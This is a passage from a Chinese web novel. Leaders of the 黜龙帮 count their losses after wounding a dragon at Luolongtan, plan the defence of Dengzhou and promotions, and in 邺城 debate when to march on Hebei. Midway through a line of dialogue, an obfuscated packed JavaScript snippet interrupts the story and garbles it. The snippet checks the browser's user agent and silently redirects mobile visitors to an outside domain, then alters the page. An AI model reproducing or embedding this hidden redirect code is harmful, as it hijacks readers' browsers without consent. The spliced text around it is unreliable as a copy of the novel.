然后,便是在空中奋力挥动,再度尝试将对方下颌切开。 但还是在之前下颌骨处卡住。 与此同时,分山君的前肢鹰爪,也已经向着下颌再度准确抓来。 就在白有思有些沮丧无力之时,忽然间,张行也高高跃起,却不是要将对方拽下救走,反而是将平生之真气从对方后背用手掌度让过去。 一时间,白有思身上金光大闪,整个军阵都几乎被染成金色,手中长剑也继续切过分山君的下颌,但此时分山君的鹰爪也已经到了跟前,身后诸人皆不能跟上,可原本就在分山君仅存右眼之前诱敌的郦子期却忽然扑下,将那支鹰爪稍微扑停了一下……准确的说是晃了一下。 但也足够了。 血涌喷溅,更有数只龙齿飞落。 分山君喷血哀嚎,整个天地都被震动,但其狼狈之态也被所有人看的清楚。 “要不要趁机杀了此龙?!哪个至尊不曾杀龙?!便不是至尊,古来英雄,也曾黜龙!”看着这一幕,几乎所有人都冒出了这个想法。 可就在这时,头顶乌云之上,忽然有无数龙卷垂下,原本消失不见的避海君忽然整个扑下,祂双翼扇动,真气充盈,除了郦子期、白有思、张行、雄伯南和莽金刚外,包括张十娘在内的高手居然被尽数从空中扇飞,狼狈卷起流光护体,只能保命……几匹龙驹也都哀嚎逃窜。 而在郦子期复杂的目光中,在白有思、张行、雄伯南、莽金刚等人的愕然中,扇走大部分人的避海君居然先是整个以双翼覆盖住了分山君,然后卷动无数真气,将对方那宛若山丘一般的躯体裹住抬起,往北面山中而去。 分山君也没有挣扎。 此时天空乌云密布,电雨交加,更有无数龙卷在四周走动,连石头、尸体都能卷起,白有思喘了口气,就在雨中上前抬剑指向半空中郦子期,扬声来问:“郦大都督,人算不如天算,事到如今,你有什么话说?” 披头散发,浑身湿透的郦子期回身摊手:“我当然有话说,老夫尽人事而随天命,算是尽力了,为什么不能说话?倒是你白娘子,若非有人助你一臂之力,怕是今日这把剑要断在这里吧?当然,你也是尽人事听天命,我也很以为然。” “不管以为然还是不以为然,事到如今,你既用计图我们性命,总要拿命来才行!”满身都是血水往下流的白有思双目精光四溢,俨然明知事情会如此,但还是怒极。 “我知道你意思,但避海君出,水路倒灌,我的龙首楼船正顺着河道往此处来,你一人取不了我性命的。”郦子期在空中负手平静道。“而你们四人一起上,也要留下两人性命来换……你想留下谁的?而且,你怎么知道分山君和避海君不会回来?” 白有思为之一滞。 “不过。”郦子期幽幽以对。“我虽不怕死,却也想着要回去,借这条烂命的最后两年来做东胜国的传承……咱们君子一言,各奔东西,如何?” 白有思沉默片刻,回头与面无表情的张行对视片刻,忽然失笑看回郦子期:“既如此!且待数年,由我来覆灭东夷!” 郦子期面色一凛,却再无言语。 风雨雷电四起,甚至隐隐有冰雹雪粒砸下,白有思收起倚天长剑,四人转身,去收拾散落的诸将去了。 第四十七章 千里行(1) 第507章千里行(1) 落龙滩一战,黜龙军从上到下,丢盔弃甲,狼狈而归。 张行回到登州大营的日子是九月初五,又等候三日,同时计点兵马,到了九月初八,连着三匹龙驹,大部分头领都已经折回: 其中,苗海浪、贾务根被俘虏,贾务根还重伤,不知生死,这算是标准的损折了; 没有危及性命,但也不能称之为轻伤的有因为惊马而**的阎庆; 有被避海君扇飞时因为真气不支坠落的高士通,外加庞金刚、高金刚、矮金刚、寿金刚……前者是之前作战受了伤,而几位金刚则是十三金刚中修为不足的那几个,一旦脱离大阵,没了护体真气,立即遭遇明显创伤,而且是内伤外伤一起来,现在只能躺着; 修为在凝丹以上的,也有空中被石块撞击到的钱唐,和不巧跟王元德落在一处,挨了一击的苏靖方; 至于尚未归队的,也有一个樊梨花,可从回来的一些军士那里得知,其人倒还好,只是在落龙滩搜寻落难的部众。 除此之外,大家没说,却都能察觉到,乃是雄天王在与郦子期的对决中明显吃了大亏,一直到现在都没有缓过来,脸色蜡黄蜡黄的,说话都不利索……只不过到了那个层次的损伤,寻常人想也无益,问也无法,只能装作不知。 甚至,包括张首席本人和实际上划开分山君要害的白总管,虽然精神都还好,但所有人也都能察觉到他二人的形容憔悴,也明显是吃了亏的。 最后算起来,三十多个头领,折损了两个,伤了七八个。 而士卒也差不多,算上之前那场遭遇战黜龙军自己收的千把人尸首就地埋葬,三万多人差不多折损减员了三四千,轻伤者不下四五千……但这还不是总体数字,因为白有思的部队之前路上就损失了不少,一时难以计量。 便是之前提前抵达的俘虏、流民,零零散散也有七八千人的离散,也不知道是被困在了落龙滩里,还是不了解这边情况,故意不往登州大营来,逃到他处去了。 至于装备、牲畜,更是丢失损耗的厉害,最后真龙落下的时候,所有牲畜都几乎发疯逃窜,大部分人都选择丢盔弃甲,狼狈逃窜。 再加上分山君被重伤,避海君却无损,从今往后的不确定时间内,东夷与登州之间的这扇门,却是被单向打开了……黜龙帮在登州只能被动防守。 故此,落龙滩这一战,从理性角度来说,似乎确实是黜龙帮棋差一招,所谓战术的两败俱伤,战略的完全失败。 不过,登州大营这里的气氛却远比想象中要好许多。 “差点就杀了那龙!差点就杀了那龙!”一直到今日才从落龙滩回来的刘黑榥胳膊打着木板,不顾浑身污泥,一进来就连连跺脚。“太可惜了!太可惜了!我越想越可气!” “确实可惜。”早两三日就回来的王振也觉得可惜,只是气性没这位他走前还没冒头的刘大头领来的大罢了。“我这几日一直在想,一直就不甘心,为什么避海君要护着分山君?他们不是死敌吗?怎么就扑下来了?!” “确实,真要是杀了分山君,取了那龙首回来,咱们再去对付薛常雄跟罗术,怕是能不战而胜,整个河北都降了。”王雄诞也有些感慨。 “其实已经足够好了,重伤分山君一事也足以自傲,便是不能威吓河北,也足以震慑人心。”苏靖方倒是挺乐观。“只把重伤分山君的事迹拿出去,看河北那几家心慌不心慌?“ “要我说,你们这就多想了。”王叔勇倒是豪气。“河北那两家,有没有分山君的脑袋,要不要这个事迹,难道都能跑了咱们手心?” “说的对,关键是有黜龙的门路和把握,有了将**万人带回来的经历,别人便是不信,也不耽误咱们有这个心气和本事收了他们!”徐师仁也忍不住插嘴。 “现在先不说这个。”张行看了一眼徐师仁,然后忽然插嘴终结了闲谈。“大家都到了,说几个要害事情……还有谁没回来?” “除了被俘的两位,现在没回来的自然只剩一个樊梨花了。”正在对表格的程知理脱口而对。“但她应该没事,不止一处回来的军士告知,她只是在收拢旧部。” “她的副将,算是看着她长大的一个家人,此战怕是凶多吉少。”樊豹此时插嘴做了个说明。“她心里熬不过,所以才会如此。” 张行点点头:“情有可原,但还是要回来休整一下……告诉她,反正得有人在落龙滩做收拢、搜寻和防备,她来做也无妨,但得先回来一趟,确保她本人及部属无恙。” “理所应当。”樊豹站起身来,眼窝深陷。“我走一趟,务必交代清楚。” “可以,但等开完会再去。”张行语气依旧平和。“而且樊头领,凡事可一不可二,若是你带不回人,帮里便要军法从事了。” “这是自然。”樊豹紧张起来,再三许诺。“属下绝不是不知机的人,一定将人带回来。” “那就好。”张行也是再三认可,却又看了一眼张十娘,后者本想插句话,硬是憋了回去。 眼见如此,张首席方才继续来言:“两位头领被俘,非战之过,得发使者认认真真讨回来,不管是要钱要粮要兵甲,只要是有认真交换的意思,就都可以计较……除此之外,还要讲清楚,确保贾头领得到妥善治疗才好。” “这是自然,我觉得等这几日落龙滩安生了,可以派登州这里的医生过去探望。”面色蜡黄的雄伯南终于开口。 “若是郦子期那里要不到,可以去找王元德,包括东胜国国主试一试。”钱唐想起什么,稍作提醒。 而众人也继续议论了几句,倒也没什么出奇的,这个话题到此结束。 “接着就是部队休整与俘虏的安置。”张行一边说一边看向了房敬伯。 房敬伯早有准备,立即起身拱手:“首席放心,秋粮入库,钱粮目前是不缺的,更兼首席早早指挥,准备也算妥当,只有一事……” “说来。” “俘虏和流民中有登州人,自然是就地归乡安置,授田屯田,可若有籍贯在其他地方的,能不能先问问原籍家小还有多少,若是老家已经没人的,或者老家人不多的,就在登州安置……毕竟,这落龙滩一开,总得防备,这也是人力储备,偏偏我们登州最缺人。” “道理是有的,但不行。”张行想了一想,给出答复。“得让人回家才能心安。” “是。” “但是可以提前通知下去,告诉他们可以回家后自己选择,一月内回登州安置就行,因为登州这里人少,怎么跟徐州还有济北比都是宽乡。” “是。” 张行点点头,再去看周围,见无人言语,方才继续来言:“刚刚房头领有一事说的对,从今天开始,登州这里就不是一个后方了,以前的防备东夷跟现在的防备东夷不是一回事……海上陆上,都要有计较。” “陆上就是登州大营这里,海上是大劳山。”程知理赶紧发言,以确保自己的发言权。“只要卡住这两个点,登州就无恙……当然,这管不住郦子期,要是郦子期经历这一回还没死,再带水军过来,就不是登州地方上能阻挡的。” “到时候自然有支援。”张行听出了对方的试探,却没有多做遮掩。“不过水路只卡住大劳山有用吗?琅琊那边,东海那边,一直到淮河都要防备吧?” “那边就要问牛大头领了。”程知理嘿嘿一笑。 “这个没办法的事情,归根到底还是要搞一支水军。”白有思插嘴道。“但也难,尤其是这一次登州的船只都被扣在那里了……” “不光是扣不扣的事情。”程大郎复又提醒道。“水军便是凑起来了……假设这次没被扣,东海的船跟登州的船,还有渤海的船还都能凑到一起,不也是出海就会被郦子期一人给沉了?海上的事情,麻烦着呢!船只是一说,水手是一说,海上作战是一说,顶尖的高手护航是另一说……现在还得考量避海君。至于之前三征时能走水路,不还是落龙滩这里有更强的兵马主力,逼的郦子期他们只能待在落龙滩吗?” 这话说的合情合理,便是白有思也闭上了嘴。 “水军要从长计议,现在只从海岸防守上做计较就行。”张行将水军一事压了下来。 “若暂时不管水军,关键便是登州跟徐州两地放多少兵马了。”徐师仁插嘴道。“现在的情况是,狮子搏兔也应该出全力,咱们再歇一个冬季,便也该对河北动手了……到时候,徐州、登州、济阴、谯郡,要各自留多少兵马?” “问得好。”张行认真道。“接下来肯定要集中主力向北的,大行台那里原本的计划是,四个地方各自有一位总管或者行台指挥坐镇,各自留下三四个营……也就是五六十个营留下来十五六个在河南各处防守,其余尽全力北上……但是现在看来,似乎有些虚。” “其实……”半躺在那里的高士通犹豫了一下,加入到了会议讨论。“那分山君本是几百年的盘踞了,如今重伤,怕也是经年的算计,更重要的是,那郦子期谋划这件事情,本身不大可能只是为了一时的军事通达……他果真会来攻登州吗?” “攻不攻,咱们都得有防备。”程知理赶紧接过话来,然后顺势将自己的方案抛出。“首席,我的意思是,这四个地方,能不能用之前登州的应急策略……设立戍卫营……戍卫营不用头领亲自管军,装备次一等,不必计划离开本地作战。” “这不就是军屯吗?”刘黑榥大为不解。 “比军屯精锐,要发钱,归根到底军屯是以屯为主,而这个戍卫营是以卫为主。”程大郎认真解释道。“细细准备起来,只是防守的话,战力不比战兵营差的。” 众人思索片刻,也议论了一番,但最终看向了张行。 “不是不行。”张行给出答复。“但丑话要说到前头……等局势改观了,这些戍卫营该撤要撤,该改编要改编,地方上要有心理准备,不能把着不放。” 程知理立即恳切点头:“这是自然。” 而到了这个时候,即便是再愚钝的人也都意识到,程大郎这是要保他的戍卫营。 “钱粮要计算清楚。”张行继续叮嘱。“千万不要一朝缓下来,便没了个计划,弄得穷兵黩武,百姓人人叫苦……那跟大魏朝廷没啥两样。” 这话是警告程知理的,但在场的所有人却几乎一起看向了在门内凳子上坐着旁听的一位,也就是曹铭曹三郎。 倒是曹铭自己,似乎已经开始习惯了这种凝视,只是低头而已。 “我晓得厉害。”回过神来,程大郎赶紧拍了胸脯。 “其实短时间内也不必过于忧虑。”张行复又安慰。“登州原本的五个营回来了,也只好在登州休整,也是过完年再说其他的……不过,白总管要配合天王把此次东夷之行的功勋牺牲都统计好,尽快赏罚出来……这次去救援的时间虽短,战事也少,但也要计量清楚。” 雄伯南跟白有思各自点了下头。 其余人也都安静了一下,因为所有人都知道,这个流程是当然的,而且比较繁杂,唯独头领这个层级以上的功勋和安排是要在这里讨论的,也是大部分人更关心的那部分。 “我先说几句……首先,这次出去的五个营,有功无过,尤其是带回了数万万俘虏和流民,算是大功,这次救援也算是胜利,重伤了分山君更是足堪自傲。”张行停顿了一下,下了基调。“而这其中,白总管过关斩将伤龙,王振五百骑突袭东夷南大营,王伏贝作战奋不顾身,程名起管理十万众而不乱,算是有殊勋……便是钱唐、阎庆、马平儿,半路依附的曹铭,降人刘延寿,都有明确的功勋。” 见到众人没有异议表达,张行才继续说道:“对应的,咱们这次救援,最出彩的高士通高大头领与李子达李大头领,还有被俘的贾头领,以及作为我主骑冲阵的秦宝……但最大的功劳却在十三金刚的阵法与登州这里的后勤准备,他们是善战者无赫赫之功,咱们需要牢记心里。” 众人也没有反对和异议。 而终于,张行说出了众人都一直等待的话:“所以,我准备在年末的时候,推荐王伏贝、程名起两位担任大头领,曹铭、刘延寿充任头领,白总管、王大头领,还有马头领转任大行台,至于钱唐钱头领,暂代贾务根营的残部。” 众人反应不一,但大多数都是精神一振,晓得登州还是自己来做主的程知理更是一时压不住眉眼,倒是真得了最大升迁的王伏贝和程名起,此时反而镇定,至于白有思和雄伯南,也是一个依旧从容,一个依旧面色发黄,显然是早就通了气。 唯一例外的是曹铭,他明显有些惊慌,却不敢插嘴。 “大行台那里,军情部一直缺人,而且这一次白金刚白头领虽然不在这里,可他也提醒了我,要设立一个类似于大理寺或者御史台的地方,所以大行台还会调整,具体人选和直属部的设立,还要大家详细参详,年底在邺城推出来。”张行说着,本能看了眼莽金刚。 在坐人中,几位光头都还没反应过来,只是程知理第一个心下一惊……只是他刚刚已经喜形于色,这个时候却晓得必须得压住不安,所以没有表现出来而已。 “地方上也是类似,大魏已经亡了,那如登州、徐州这种总管州的还合不合事宜则不好说……如眼下,登州或许还合适,但徐州已经可以拆分成郡了,而且,有些郡县大小不一,也是可以调整的。”说到这里,张行不由叹了口气,音量也提起来了。“我说这么多,其实就是一个意思,也是提醒诸位兄弟……今非昔比,尤其是大头领身份的兄弟,心里要晓得,帮内阶级再想上去就很艰难了,取而代之的是差遣和职务,切莫转不过弯来。” “首席想多了。”刘黑榥几乎是没有半点隔断便说出话来。“兄弟们不是傻子,这职司是职司,阶级是阶级,要我说,帮内的阶级其实是爵位,头领就是个伯,大头领就是个侯,再往上的龙头便是封了公,天下未曾有几十个王公的说法,何况天王跟陈总管、徐总管、白总管,还有王五郎,都只是大头领,有他们压着,任谁也说不出什么话来!” 众人醒悟过来,便要附和。 孰料,张行当即摇了摇头:“若是按照你这个说法,我这个首席怎么也是个王,乃至于皇帝了?比方是对的,但不是一回事……若大头领是侯,天下可有封侯的只多几百亩授田的侯吗?” “那首席的意思莫非是说,俺们这些人将来还能封侯吗?”刘黑榥不以为意,反而大声笑问起来。 “或许吧?”张行表情飘忽,状若感慨。“但是我得跟你刘大头领说个清楚,若是成了真龙神仙,那是天赏,若是封侯,那一定是皇帝赐下的,唯独这个大头领,是你们自家挣下来的,是下面的人推上来的……要分清楚孰轻孰重才好。” 这话很张首席……在坐的这几十个大小头领里,其实颇有一半精明的素来不以为然,只不过,经历了这次落龙滩,亲眼看见真龙落滩,又被自家合力重伤,却不免有些心驰神摇,比往日多想了几分。 尤其是刘黑榥,这厮虽然是个混的,但素来也是个有追求的,尤其是投了黜龙帮这些年,眼瞅着也凝丹了,也成领兵大将了,也能举手了,也住上行宫了,甚至还忠义起来了,此时听到这里,难免心里一突,然后有些信服,继而羞惭起来……因为他总觉得自己一直有些充数的样子。 反而沉默了下来。 正事说完,樊豹先行离开,众人也散去。 诚如张行所言,登州事宜还很繁杂。 樊梨花是第二日垂头丧气回来的,然后张十娘便放下心来,先走归谯郡,阎庆也代表张行往邺城一行去做汇报,随行的还有曹铭; 又过了七八日,到了九月月中的时候,各处信息已经交流通畅了,登州这边能搜罗的溃散军民尽量搜罗了,军功赏罚统计的差不多了,流民也初步安置到县一层了,更重要的一点是,第一批去东夷要俘虏的使者虽然没有要回俘虏,却清楚的探知到,当日落龙,对当时在周边的东夷金蛙军、青龙军、黑罴军也造成了巨大的震动,彼处也是在大举收拢残兵败将,安抚人心,混乱场景难以做假。 于是乎,从这日开始,各部开始带着部队折返回驻地……王叔勇等人往河北,徐师仁等人往济北,莽金刚有些例外,他是亲自引了几百人,护送着受伤的兄弟以及其余重伤者去了谯郡。 而过了几日,在意识到郦子期是真不准备放回俘虏之后,也没有什么天灾降临来对他们之前伤龙的事情充作处罚,考虑到军心已稳,张行复又催促雄伯南去了谯郡寻千金教主做个检查。 最终,时间来到十月,在检查完登州部队的冬营准备后,加之雄伯南那边传来讯息,说是伤势好转,放下心来的张首席便与白有思、秦宝一起外加刘延寿这个闲人,轻骑离开登州,往济水上游而去。 也不知道是巧合还是信息的滞后,随着他们一行人上路,反而开始沿途大面积的接收到了特定情报。 而且还都算是回事! 首先,最无聊、最没价值的一个,就是白横秋称帝了,建号大英。 没有遮掩,没有多余的矫情,就是之前对巫族主力的一场大胜……现在知道了,虽然巫族人本来面对着关陇、巴蜀、晋地的合力就注定讨不了好,但是都蓝与突利两位可汗中了离间计明显也催化了这一战的结果……大胜之后,白横秋将巫族人一口气撵出关中平原,回身在改回长安的西都稍微整合了巴蜀、关陇、晋地的力量,然后就直接走流程了,之前的英国公摆在那里,也就直接用了。 按照张首席的话说,这事办的合情合理,对于传统关陇势力而言,换皇帝本来就是一个迫切任务,本来就有这种“习惯法”,轮到苗红根正的白横秋,那就更迫不及待了。 而对于白横秋本人来说,也需要这个皇帝身份,加紧加速的整合晋地-关陇-巴蜀这个广泛意义上的大关陇联合体。 实际上,这个消息中唯二让张行多看了几眼的,一个是大英这个名号,另一个则是关于蜀地当庐主人的传言。 按照现在流传出来的说法,当庐主人这位在天下大乱前就被认为是最有希望成为最新大宗师的人,其实跟白横秋,以及那位太白峰冲和道人是青年好友,三人曾一起仗剑游历巴蜀。 这当然解释了很多事情,但也让人无可奈何,谁让人家家底厚呢? 哦,只准你张行有朋友,人家横秋也有横秋的朋友好不好? 不过,一路上骑着赤红马的白有思却免不了为此胡思乱想……她的身世,她身上的明显属于赤帝一系的点选开锁,她跟白横秋之间并不能作假的父女之情,包括之前在登州时从前线收到的皇位许诺,和此时黜龙帮不弱于白氏的基业,都让她止不住的思索起来。 但也只是思索罢了,白有思心知肚明,便是父女之情是真的,皇位许诺是诚心的,事到如今,父女二人已经不是一路人了……哪怕是如今的自己真回到那边,当了皇太女,怕也要建一个新黜龙帮的,但新的大英皇帝如何能忍? 怕是马上就要刀兵相见的。 相当于自投罗网。 第二件事也很有意思,对黜龙帮也比较重要,不过对张行这些人而言,依然属于意料之中——杜破阵过淮水后连番诈败,将那位梁公在江都周边的主力诱到了淮水南岸的湖泊区,然后部队转乘小舟绕后突袭,一战而胜,彻底在淮南立住了跟脚。 按照淮南那边的消息反馈,这一战的根本其实还是出在梁公萧辉不能团结人心、平衡派系这个死结上。 萧辉的纸面实力强大,基本上占据了江东、江西、荆襄南部诸镇,又是所谓前前朝的嫡脉,形势上来看,说是跟黜龙帮、白横秋的大英、司马正的东都势力,相互鼎足也无妨。但实际上,其人根基浅显,一开始是因为血脉被地方豪杰推上来的,只能靠着平衡各部势力来坐稳自己的位置。其人麾下,真火教占据江西、起家的那批有真火教**性质的豪强占据湖南、世族们依旧把控江东,**内斗严重,势同水火。 而这一次,杜破阵击败萧辉的一个大前提就是,那位梁公为了扩展自己的直属领地和力量,坚定的拒绝了江东人跟真火教的人渡江去攻打江都,而是只用自己的直属力量加湖南兵去攻。 这一攻,不但让杜破阵抓到了战机立足下来,据说萧辉战败后要身后真火教教主操师御来救援,操师御居然都置若罔闻。 难怪张行也好,白金刚也好,包括没说话的谢鸣鹤,都看不起江南的义军。 这群人是真不行……但某种意义上来说也算是江南割据势力的传统艺能了。 第三件事,罗术让自家儿子罗信认了薛常雄做义父。 据说是罗术主动向薛常雄称下属,薛常雄有些警惕,于是罗术心一狠,直接把独子送出去了……用他当日送儿子出城时公开所言,就是要对方视薛常雄为亲父,尽孝于膝下。 也不知道薛常雄的几个亲儿子怎么看?而且做薛常雄的儿子,就不怕不吉利吗?**那么多…… 这件事其实对黜龙帮和眼下局势影响最大最直接,但张行依旧没有什么反应,实际上,张首席对这三件事甚至没有做任何公开评价,只是让邺城方面给杜破阵发出贺信和表扬而已。 临到白马,准备渡河去邺城的时候,第四件事传来,司马正迎娶了曹彻的女儿……已经有些麻木的张行依旧让邺城遣使去祝贺,如此而已。 抵达邺城,就不能说是消息了,这一次是李定带着冯无佚、牛河、曹铭三人提前两日抵达此处,然后等张行一过河,就以后三人的名义写了一封文书,由李定转呈,向大行台提出了两个建议: 其一,请大行台对之前江都俘虏中没有选择去东都,籍贯普遍性在河北、东境、江淮的前大魏官僚进行查检,择贤任用; 其二,请大行台讨论,出兵河间、幽州、代郡诸事宜。 说是让大行台讨论,但偏偏等张行回到邺城的第一时间来上书,就很明显是到底想让谁讨论了。 而很快,刚刚回到邺城行宫观风院的张行,只不过当晚见了贾闰士一人,做了些安慰,第二日一早便就迎来了陈斌、徐世英为首;李定、冯无佚、牛河、曹铭为客;魏玄定、元宝存为辅的一批人……这下子,谁想让张首席讨论,似乎也清楚了。 秦宝和月娘去城中采买去了,只白有思在旁,也确实有资格旁听。 而观风院三楼的漏风台阁上,张行认真听完,立即察觉到一丝异样:“曹三郎跟牛公还有冯公建议帮里任用东都俘虏归乡之人,我自然是赞同的,也没有道理不做,年后、年前若有时间,粗粗略略请张世昭张分管开一场科考便是,而且这事几位提的也名正言顺。只是,你们三位建议帮里出兵是什么名义?难道是要帮里为大魏讨伐叛臣?咱们黜龙帮是有立场的,千万不要做为曹彻报仇的事,那是自毁名望。” “回禀张首席。”坐在斜对面的冯无佚苦笑一声。“这出兵的事情并非没有道理,乃是太后与……与前赵王在赵郡安置后,幽州与河间多有觊觎……之前首席去登州,薛常雄和罗术曾经一起发兵往代郡,表面是讨伐代郡二高,暗地里却派了一支骑兵,尝试直入平棘。现在曹……三公子回来了,听闻这个,便有些坐立不安。” “原来如此。”张行恍然,却还是正色相告。“道理是有,但还是要下不为例,要有这事的敏感性……不然起了误会就不好。” 这话前面是对冯无佚,后面还是拐到陈斌这里了。 “确实不妥。”陈斌立即作答。“是我们思虑不周……” 张行一愣,装傻充愣:“关你们何事?不周也是李定这个行台指挥的不周吧?” 周围人一时尴尬,白有思都忍不住笑了。 还是魏玄定来打圆场,也算是摊牌了:“首席,启用大魏归乡旧人是顺理成章,而开战之事,是大势所趋,是全帮上下……最起码和河北这里,从大行台到地方上一致的念头。” “既如此,直接来说便是,何必让他们捎带呢?”张行状若醒悟,却也切入主要话题。“全都想尽快开战?” “是。”陈斌肯定的做了答复。“首席在登州时还好,大概是从入冬以来,我们就忽然接到了许多这方面的建议,大行台内部也有些讨论……” “你们几位呢,也动摇了?”张行继续追问。 “是。” “可之前不是说好了过年前不动吗?”张行有些无奈。“是因为白横秋称帝的事情?还是南北两面的事情?” “都有。”陈斌坦诚以对。“秋后不出兵,干捱着,大家本就有些不甘心,这次又遇到这些事情,就更心慌……便是登州的事情,虽然折损了一些兵力和装备,可击伤真龙的结果,大家反而振奋,以至于跃跃欲试起来。” “我还是觉得要耐住性子,沉住气。”张行给出自己的看法。“争天下确实是滚雪球不错,但更要防备自家出乱子,不做好充足准备的话,便是轻易夺下地盘,也不一定能扩展力量……到时候说不得一脚把自己绊倒。况且,这些事情本是意料之中,并没有什么动摇大局的东西……如白横秋,只把巫族人撵出平原,北面山区就不收复了吗?更西面的陇上薛挺不要打吗?至于登州,见识了分山君,就更该知道天高地厚。” 几人面面相觑,然后还是陈斌来言:“那怎么才能算准备妥当呢?首席可有计较?我们也好与大家说清楚,让大家安心。” “有。”张行俨然早有准备。“首先要开一次会,把曹三郎、牛公、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168002|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冯公,包括余公公、秦宝这些人的身份给定下来,大行台职司也要调整,地方行台也要立起来,地方行政区划也要调整,人事当然也要跟上。” “这是自然。”陈斌正色来言,却又瞟了一眼坐在远端的白有思。“而且这些我们早有准备,首席走登州之前就吩咐下来了……但一些大的人事还要首席来做主,比如白总管来大行台,职司是什么?” 这话问的清楚。 须知道,白三娘之前只是成丹,身份也尴尬,去登州做个后备自然可行,可如今走了一遭东夷,非但成了宗师,还重伤了真龙……过关斩将没几个人看到,但砍真龙的那三剑却是几十个头领一起亲眼目睹……一个要争天下的军事割据势力,内部第一高手怎么重视都不为过。 更不要说,人家白三娘是跟张首席住一个院子的。 “我想让她整备一个黜龙帮的靖安台。”对此,张行也毫不避讳。“将在籍的修行者全部立档,交给这个新靖安台管理,然后直接向大行台汇报。还准备起一个监察部,让白金刚去做,专门监督头领,向靖安台与大行台汇报。” 靖安台的职责是什么,天下人都知道,而汇报又是什么意思,黜龙帮上下怕是也没人不清楚。 故此,陈斌犹豫了一下,主动来问:“白总管要不要加一个大行台副总指挥的身份?” “不用。”张行干脆回答,丝毫不顾白有思就在现场。“她的功劳还不能服众,你们也不要有负担,天王、陈总管、徐总管三位的地位是咱们黜龙帮自家经历决定的……其余人想要取而代之,也很简单,立下比三位更多的功勋就好。” 白有思没有任何反应,倒是李定眼皮跳了一下。 “那这么说的话,开会的事情就更没什么阻碍了。”魏玄定见状捻须笑道。“只等天王过几日从谯郡回来,随时可以开会。” “开会不是说只有开会本身这事这么简单,得做成了事和要做事才值得开会。”张行摇摇头,继续来讲。“所以依我看,还有几件事是需要在开会前后做完的……比如阅兵,我要在开会前对之前一年大战不断过程中的功臣授勋,还要确保出战河北的基本军事力量得到补充和休整,然后等开完会,人事到位后,就可以随时从容出兵。” “这事早有准备。”徐世英面色不改,立即做出回应。“可是战事常损常备,不应该求全的,尤其是登州这一次损失颇多。” “你说的有道理。”张行继续来言。“但还是要有个整备成果。” “这是自然。”徐世英俨然信心十足。“四十个齐整的营绝对没问题……勋章和奖赏名单什么的更是早就按照首席的意思备齐了。” 李定也默不作声点了下头,不知道是应许了张行的要求还是认可了徐世英的表述。 “除了阅兵,刚刚说了,还要来一次科考和修行者的集体登记,登记在军事情报部里,让阎庆暂署这个,等靖安台立起来以后,再汇报过去……科考允许自荐,谁都能来考,而且要糊名,考律法、策论、表格、文书、刑案、军略,要挑出来就能用。” “可行。” “还要等我走前通过的那十几件事落实下来……” “大部分都已经落实,只是有些事情确实需要时间……” “还有日常工作也不能放,比如强制筑基跟秋后授田,都不能落下。” “这是根本。” “还要举办一次夺陇……”张行点点头,继续来说。 “什么?”前面听着还算顺利的陈斌明显一愣。 “举办一次夺陇,河北人和北地人最喜欢的夺陇。”张行认真道。“各郡都要出一队,各营也要出一队,就在邺城比;河南人不乐意就让他们去比射箭,比跑步;还可以让济阴的女工比纺织;让各地的铁匠比铸剑;乃至于让各营的厨子比炸面团……总之,要把人**起来,比试一番,才能开会。” 观风院的三楼这里,一时安静如斯,隔了许久才有人开口。 “张首席的意思是,一定要看到军心士气鼓荡起来,才愿意开会、出兵?”李定认真来问。 “是。”张行语气肯定。 周围人都无话了。 倒是张行,表态完毕,反而赶人了:“诸位,若你们都无事,且去忙碌,往后咱们有的是时候说事,牛公、冯公、曹三郎也是,你们既来邺城,我自然要做个招待,偏偏刚回来,院子里什么都缺,等正午再来喝酒。” 陈、徐、魏等人晓得张行脾气,几个大魏余孽更是早就尴尬,便都赶紧起身离开。 人一走,张行在三楼上看着他们远去,一时失笑:“徐大郎眼巴巴过来,却什么都没说,估计年底还要折腾。” “为什么不现在折腾?”白有思略微不解。 “因为他察觉到我心意已定,就熄了今日说出来的念头。”张行回头来答。“不过他这个人,虽然会回避,会退让,会改弦易辙,却也总能尽力而为,把想做的事情推到自己能推的最后一步……而且,这大半年过来,明显能看到他稳重不少,也开始渐渐晓得大局为重了。” “徐大郎是这般,其余人呢?”白有思若有所思。“比如这么多人想早点动手,若是他们直接在前线搞出事端来,到时候怎么办?” “凉拌。”张行走了回来。“该罚罚,该收收,反正我不打。” “真到那时候,你收的住?”白有思似乎不信。 “这便是小看你家夫君了。”张行昂然以对。“我这个首席也是黜龙帮经历决定的,可不是什么头重脚轻的。” 坐在那里的白有思看了看对方,然后忽然笑了出来。 张行则继续往楼下而去:“去寻秦二跟月娘,多买些东西,午间做招待,三娘来不来?” 白有思笑吟吟起身跟着走了下去。 另一边,一行人离开张行住处,分批散开,其中曹铭与冯无佚、牛河顺理成章回到之前一直待的李定住处。而很快,随着李定也被人喊出门去了,三人愈发尴尬……正午还有时间,却因为身份尴尬不好走动,就在他们犹豫要不要去寻张世昭聊一聊的时候,倒是之前见过的元宝存忽然遣人来请,说要一起叙话。 三人便离开宫城,去了城中一处宅院。 而来到此处后厅,看到刚刚分开的元宝存不说,居然还有一位三人共同的故人,前大魏中书舍人、现在的文书部机要文书封常。 几人见礼完毕,只在圆桌旁落座,毕竟是无国之人,更兼江都一事,还是有些尴尬,唯独那封常,泰然自若,先是主动为众人奉茶,然后便笑吟吟来问:“听元公说,正午的时候首席还要宴请几位?” “是。”冯无佚尴尬少点,勉强笑道。“承蒙张首席看顾。” “如此,我就恭贺几位了,尤其是曹三公子。”封常放下茶壶,朝着猝不及防的曹铭拱手行礼,然后抬起头来,居然带了一丝泪痕。“曹氏可得安了!” 厅中沉默片刻,竟无人驳斥。 过了数息,还是曹铭叹了口气,上前扶住对方:“封文书说的极对,我来到赵郡,见到至亲尚存,心中稍安,而待听到白横秋建制,司马正娶了幼妹,反而醒悟,曹氏要是想求平安,怕是反只有黜龙帮这里最安全了……所以才会劝了牛公,请冯公和李龙头带我们再来一遭。所幸张三郎还是个有担待的,给了我们这些余孽一条路。” 